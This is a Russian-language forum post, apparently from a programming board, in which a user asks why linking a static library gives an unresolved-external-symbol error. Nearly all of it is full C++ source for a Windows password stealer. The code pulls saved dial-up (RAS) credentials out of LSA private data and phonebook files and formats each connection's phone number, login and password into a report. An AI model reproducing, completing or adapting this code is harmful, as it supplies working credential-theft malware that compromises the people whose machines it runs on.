Создаю значит проект набиваю код компилирую .
Беру получившиюся либу(*.lib) и присабачиваю к другому проекту
вызываю ф-ию из этой либы начинаю компилить, а он Сволочь :( говорит Unresolved external simvol
Вот исходники:
//LSAPass.cpp
#include "LSAPass.h"
_ConvertSidToStringSid ConvertSidToStringSid=NULL;
_LsaOpenPolicy LsaOpenPolicy=NULL;
_LsaRetrievePrivateData LsaRetrievePrivateData=NULL;
_LsaClose LsaClose=NULL;
_LsaFreeMemory LsaFreeMemory=NULL;
HMODULE hLib=NULL;
struct PASSWORDS
{
char UID[256];
char pass[256];
char login[256];
bool used;
} *passwords;
int passcol;
int used=0;
char FinishBuf[4096];
void FreeLSAFunctions()
{
if(hLib!=NULL)
{
FreeLibrary(hLib);
hLib=NULL;
}
}
bool LoadLSAFunctions()
{
hLib=LoadLibrary("advapi32.dll");
if(hLib!=NULL)
{
ConvertSidToStringSid=(_ConvertSidToStringSid)GetProcAddress(hLib,"ConvertSidToStringSidA");
LsaOpenPolicy=(_LsaOpenPolicy)GetProcAddress(hLib,"LsaOpenPolicy");
LsaRetrievePrivateData=(_LsaRetrievePrivateData)GetProcAddress(hLib,"LsaRetrievePrivateData");
LsaClose=(_LsaClose)GetProcAddress(hLib,"LsaClose");
LsaFreeMemory=(_LsaFreeMemory)GetProcAddress(hLib,"LsaFreeMemory");
if(ConvertSidToStringSid!=NULL && LsaOpenPolicy!= NULL && LsaRetrievePrivateData != NULL &&
LsaClose!=NULL && LsaFreeMemory !=NULL)
{
return true;
}
else return false;
}else return false;
}
void AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
{
lsa->Length=lstrlen(AValue)*2;
lsa->MaximumLength=lsa->Length+2;
lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
//ZeroMemory(&lsa->Buffer,lsa->MaximumLength);
MultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,lstrlen(AValue),lsa->Buffer,lsa->MaximumLength);
}
LPSTR GetLocalSid()
{
char AccountName[256];
DWORD sizeAccountName=sizeof(AccountName);
union
{
SID s;
char c[256];
}Sid;
DWORD sizeSid=sizeof(Sid);
char DomainName[256];
DWORD sizeDomainName=sizeof(DomainName);
SID_NAME_USE peUse;
LPSTR pSid;
if(!GetUserName(AccountName,&sizeAccountName))return NULL;
if(!LookupAccountName(NULL,AccountName,(SID*)&Sid,&sizeSid,DomainName,&sizeDomainName,&peUse))return NULL;
if(!IsValidSid(&Sid))return NULL;
if(!ConvertSidToStringSid((SID*)&Sid.s,&pSid))return NULL;
return pSid;
}
DWORD GetRasEntryCount()
{
RASENTRYNAME RasEntry;
DWORD Count,RET;
DWORD sofRasEntry=sizeof(RASENTRYNAME);
ZeroMemory(&RasEntry,sizeof(RasEntry));
RasEntry.dwSize=sofRasEntry;
RET=RasEnumEntries(NULL,NULL,&RasEntry,&sofRasEntry,&Count);
if(RET==ERROR_BUFFER_TOO_SMALL || RET==0) return Count;
else return NULL;
}
void MakePhoneBookPath(LPSTR Value)
{
int length=lstrlen(Value);
if(Value[lstrlen(Value)]!='\\')
{
Value[length]='\\';
Value[length+1]=0;
}
strcat(Value,"Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
}
PLSA_UNICODE_STRING GetLsaData(LPSTR KeyName)
{
LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
LSA_HANDLE LsaHandle;
LSA_UNICODE_STRING LsaKeyName;
NTSTATUS nts;
PLSA_UNICODE_STRING OutData;
ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_ALL_ACCESS,&LsaHandle);
if(nts!=0)return NULL;
AnsiStringToLsaStr(KeyName, &LsaKeyName);
nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
if(nts!=0)return NULL;
nts=LsaClose(LsaHandle);
if(nts!=0)return NULL;
return OutData;
}
void ParseLsaBuffer(LPCWSTR Buffer,USHORT Length)
{
char AnsiPsw[1024];
char chr,PswStr[256];
PswStr[0]=0;
int a=0;
WideCharToMultiByte(0,NULL,Buffer,Length,AnsiPsw,1024,0,0);
for(int i=0;i<Length/2-2;i++)
{
chr=AnsiPsw[i];
if(chr==0)a++;
}
a++;
passcol=(int)a/9;
passwords=new PASSWORDS[passcol];
for(int i=0,SpacePos=0,count=0,TXT=0;i<Length/2-2;i++)
{
chr=AnsiPsw[i];
if(chr==0)
{
SpacePos++;
switch(SpacePos)
{
case 1:
PswStr[TXT]=chr;
strcpy(passwords[count].UID,PswStr);
break;
case 6:
PswStr[TXT]=chr;
strcpy(passwords[count].login,PswStr);
break;
case 7:
PswStr[TXT]=chr;
strcpy(passwords[count].pass,PswStr);
passwords[count].used=false;
count++;
break;
}
ZeroMemory(PswStr,256);
TXT=0;
}else
{
PswStr[TXT]=chr;
TXT++;
}
if(SpacePos==9)SpacePos=0;
}
}
void GetLsaPasswords()
{
PLSA_UNICODE_STRING PrivateData;
char Win2k[]="RasDialParams!%s#0";
char WinXP[]="L$_RasDefaultCredentials#0";
char temp[256];
sprintf(temp,Win2k,GetLocalSid());
PrivateData=GetLsaData(temp);
if(PrivateData!=NULL)
{
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
LsaFreeMemory(PrivateData->Buffer);
}
PrivateData=GetLsaData(WinXP);
if(PrivateData!=NULL)
{
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
LsaFreeMemory(PrivateData->Buffer);
}
}
bool GetRasEntries()
{
DWORD RasCount=GetRasEntryCount();
RASDIALPARAMS RasParams;
RASENTRYNAME* RasArray=NULL;
//passwords=new PASSWORDS[RasCount];
RasArray=new RASENTRYNAME[RasCount];
BOOL RasGetPassBool=true;
RASENTRY RasEntryProperties;
RasArray[0].dwSize=sizeof(RASENTRYNAME);
DWORD RasArraySize=RasCount*RasArray[0].dwSize;
char Book1[MAX_PATH+1],Book2[MAX_PATH+1];
OSVERSIONINFO osi;
Book1[0]=Book2[0]=0;
char MessageFormat[]="\tСоеденение: %s\r\n\tТелефон: %s\r\n\tЛогин: %s\r\n\tПароль: %s\r\n\r\n";
char MessageBuf[512];
if(RasEnumEntries(NULL,NULL,RasArray,&RasArraySize,&RasCount))return false;
osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&osi);
if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5)
{
if(SHGetSpecialFolderPath(NULL,Book1,0x1A,false))MakePhoneBookPath(Book1);
if(SHGetSpecialFolderPath(NULL,Book2,0x23,false))MakePhoneBookPath(Book2);
LoadLSAFunctions();
GetLsaPasswords();
FreeLSAFunctions();
}
for(unsigned int i=0;i<RasCount;i++)
{
RasParams.dwSize=sizeof(RASDIALPARAMS);
memcpy(&RasParams.szEntryName,RasArray[i].szEntryName,256);
RasGetEntryDialParams(NULL,&RasParams,&RasGetPassBool);
RasArraySize=sizeof(RASENTRY);
ZeroMemory(&RasEntryProperties,RasArraySize);
RasEntryProperties.dwSize=RasArraySize;
RasGetEntryProperties(NULL,RasArray[i].szEntryName,&RasEntryProperties,&RasArraySize,NULL,NULL);
if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5 && (Book1!=0 || Book2!=0))
{
char tmp[256];
WCHAR WideStr[256];
char UTF8Str[256];
DWORD col=0;
tmp[0]=0;
MultiByteToWideChar(CP_ACP, 0, RasParams.szEntryName,-1,WideStr,255);
WideCharToMultiByte(65001, 0, WideStr,-1,UTF8Str,255, 0, 0);
col=GetPrivateProfileString(RasParams.szEntryName,"DialParamsUID",0,tmp,255,Book1);
if(col==0) col=GetPrivateProfileString(UTF8Str,"DialParamsUID",0,tmp,255,Book1);
if(col==0) col=GetPrivateProfileString(RasParams.szEntryName,"DialParamsUID",0,tmp,255,Book2);
if(col==0) col=GetPrivateProfileString(UTF8Str,"DialParamsUID",0,tmp,255,Book2);
if(col>0)
{
for(int x=0;x<passcol;x++)
{
if(lstrcmp(tmp,passwords[x].UID)==0)
{
strcpy(RasParams.szPassword,passwords[x].pass);
passwords[x].used=true;
used++;
break;
}
}
}
}
sprintf(MessageBuf,MessageFormat,RasParams.szEntryName,RasEntryProperties.szLocalPhoneNumber,RasParams.szUserName,RasParams.szPassword);
strcat(FinishBuf,MessageBuf);
}
return true;
}
export LPSTR GetRasPasswords()
{
char NotUsedShab[]="\tUID: %s\r\n\tЛогин: %s\r\n\tПароль: %s\r\n\r\n";
char tmp[512];
lstrcpy(FinishBuf,"[Ras Section Start]\r\n{\r\n\r\n");
int a=lstrlen(FinishBuf);
GetRasEntries();
if(a==lstrlen(FinishBuf)) lstrcpy(FinishBuf,"[Ras Passwords not found!]\r\n\r\n");
else
{
if(used!=passcol)
{
lstrcat(FinishBuf,"\t[Not Used Passwords]\r\n\r\n");
for(int i=0;i<passcol;i++)
{
if(passwords[i].used==false)
{
sprintf(tmp,NotUsedShab,passwords[i].UID,passwords[i].login,passwords[i].pass);
lstrcat(FinishBuf,tmp);
}
}
}
lstrcat(FinishBuf,"}\r\n[Ras Section End]\r\n\r\n");
}
passcol=used=0;
delete passwords;
return FinishBuf;
}
////////////////////////////////////////////////////////////////////////////////////////////
//LSAPass.h
#ifndef WINVER // Allow use of features specific to Windows 95 and Windows NT 4 or later.
#define WINVER 0x0400 // Change this to the appropriate value to target Windows 98 and Windows 2000 or later.
#endif
#include <windows.h>
#include <stdio.h>
#include <ShlObj.h>
#include <ras.h>
#include <raserror.h>
//КОНСТАНТЫ
//--------------------------------------------------------------------//
#define POLICY_VIEW_LOCAL_INFORMATION 0x00000001L
#define POLICY_VIEW_AUDIT_INFORMATION 0x00000002L
#define POLICY_GET_PRIVATE_INFORMATION 0x00000004L
#define POLICY_TRUST_ADMIN 0x00000008L
#define POLICY_CREATE_ACCOUNT 0x00000010L
#define POLICY_CREATE_SECRET 0x00000020L
#define POLICY_CREATE_PRIVILEGE 0x00000040L
#define POLICY_SET_DEFAULT_QUOTA_LIMITS 0x00000080L
#define POLICY_SET_AUDIT_REQUIREMENTS 0x00000100L
#define POLICY_AUDIT_LOG_ADMIN 0x00000200L
#define POLICY_SERVER_ADMIN 0x00000400L
#define POLICY_LOOKUP_NAMES 0x00000800L
#define POLICY_NOTIFICATION 0x00001000L
#define POLICY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED |\
POLICY_VIEW_LOCAL_INFORMATION |\
POLICY_VIEW_AUDIT_INFORMATION |\
POLICY_GET_PRIVATE_INFORMATION |\
POLICY_TRUST_ADMIN |\
POLICY_CREATE_ACCOUNT |\
POLICY_CREATE_SECRET |\
POLICY_CREATE_PRIVILEGE |\
POLICY_SET_DEFAULT_QUOTA_LIMITS |\
POLICY_SET_AUDIT_REQUIREMENTS |\
POLICY_AUDIT_LOG_ADMIN |\
POLICY_SERVER_ADMIN |\
POLICY_LOOKUP_NAMES)
#define POLICY_READ (STANDARD_RIGHTS_READ |\
POLICY_VIEW_AUDIT_INFORMATION |\
POLICY_GET_PRIVATE_INFORMATION)
#define POLICY_WRITE (STANDARD_RIGHTS_WRITE |\
POLICY_TRUST_ADMIN |\
POLICY_CREATE_ACCOUNT |\
POLICY_CREATE_SECRET |\
POLICY_CREATE_PRIVILEGE |\
POLICY_SET_DEFAULT_QUOTA_LIMITS |\
POLICY_SET_AUDIT_REQUIREMENTS |\
POLICY_AUDIT_LOG_ADMIN |\
POLICY_SERVER_ADMIN)
#define POLICY_EXECUTE (STANDARD_RIGHTS_EXECUTE |\
POLICY_VIEW_LOCAL_INFORMATION |\
POLICY_LOOKUP_NAMES)
//СТРУКТУРЫ
//------------------------------------------------------------------------//
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength/2), length_is(Length/2)]
#endif // MIDL_PASS
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
typedef struct _LSA_OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PLSA_UNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES;
typedef LONG NTSTATUS, *PNTSTATUS;
typedef PVOID LSA_HANDLE, *PLSA_HANDLE;
//ИМПОРТИРУЕМЫЕ ФУНКЦИИ
//-----------------------------------------------------------------------------//
typedef BOOL (WINAPI *_ConvertSidToStringSid)(PVOID sid, LPSTR *StringSid);
typedef NTSTATUS (WINAPI *_LsaOpenPolicy)(PLSA_UNICODE_STRING SystemName, PLSA_OBJECT_ATTRIBUTES ObjectAttributes, ACCESS_MASK DesiredAccess, PLSA_HANDLE PolicyHandle);
typedef NTSTATUS (WINAPI *_LsaRetrievePrivateData)(LSA_HANDLE LSAHandle, PLSA_UNICODE_STRING KeyName, PLSA_UNICODE_STRING * PrivateData);
typedef NTSTATUS (WINAPI *_LsaClose)(LSA_HANDLE ObjectHandle);
typedef NTSTATUS (WINAPI *_LsaFreeMemory)(PVOID Buffer);
//ФУНКЦИИ
//-----------------------------------------------------------------------------//
/*extern DWORD GetRasEntryCount();
extern LPSTR GetRasPasswords();*/
Исправлено форматирование. Пожалуйста, не забывайте пользоваться тегами [c] ... [/c], [code] ... [/code] и т.п. для выделения фрагментов кода. -- ПК.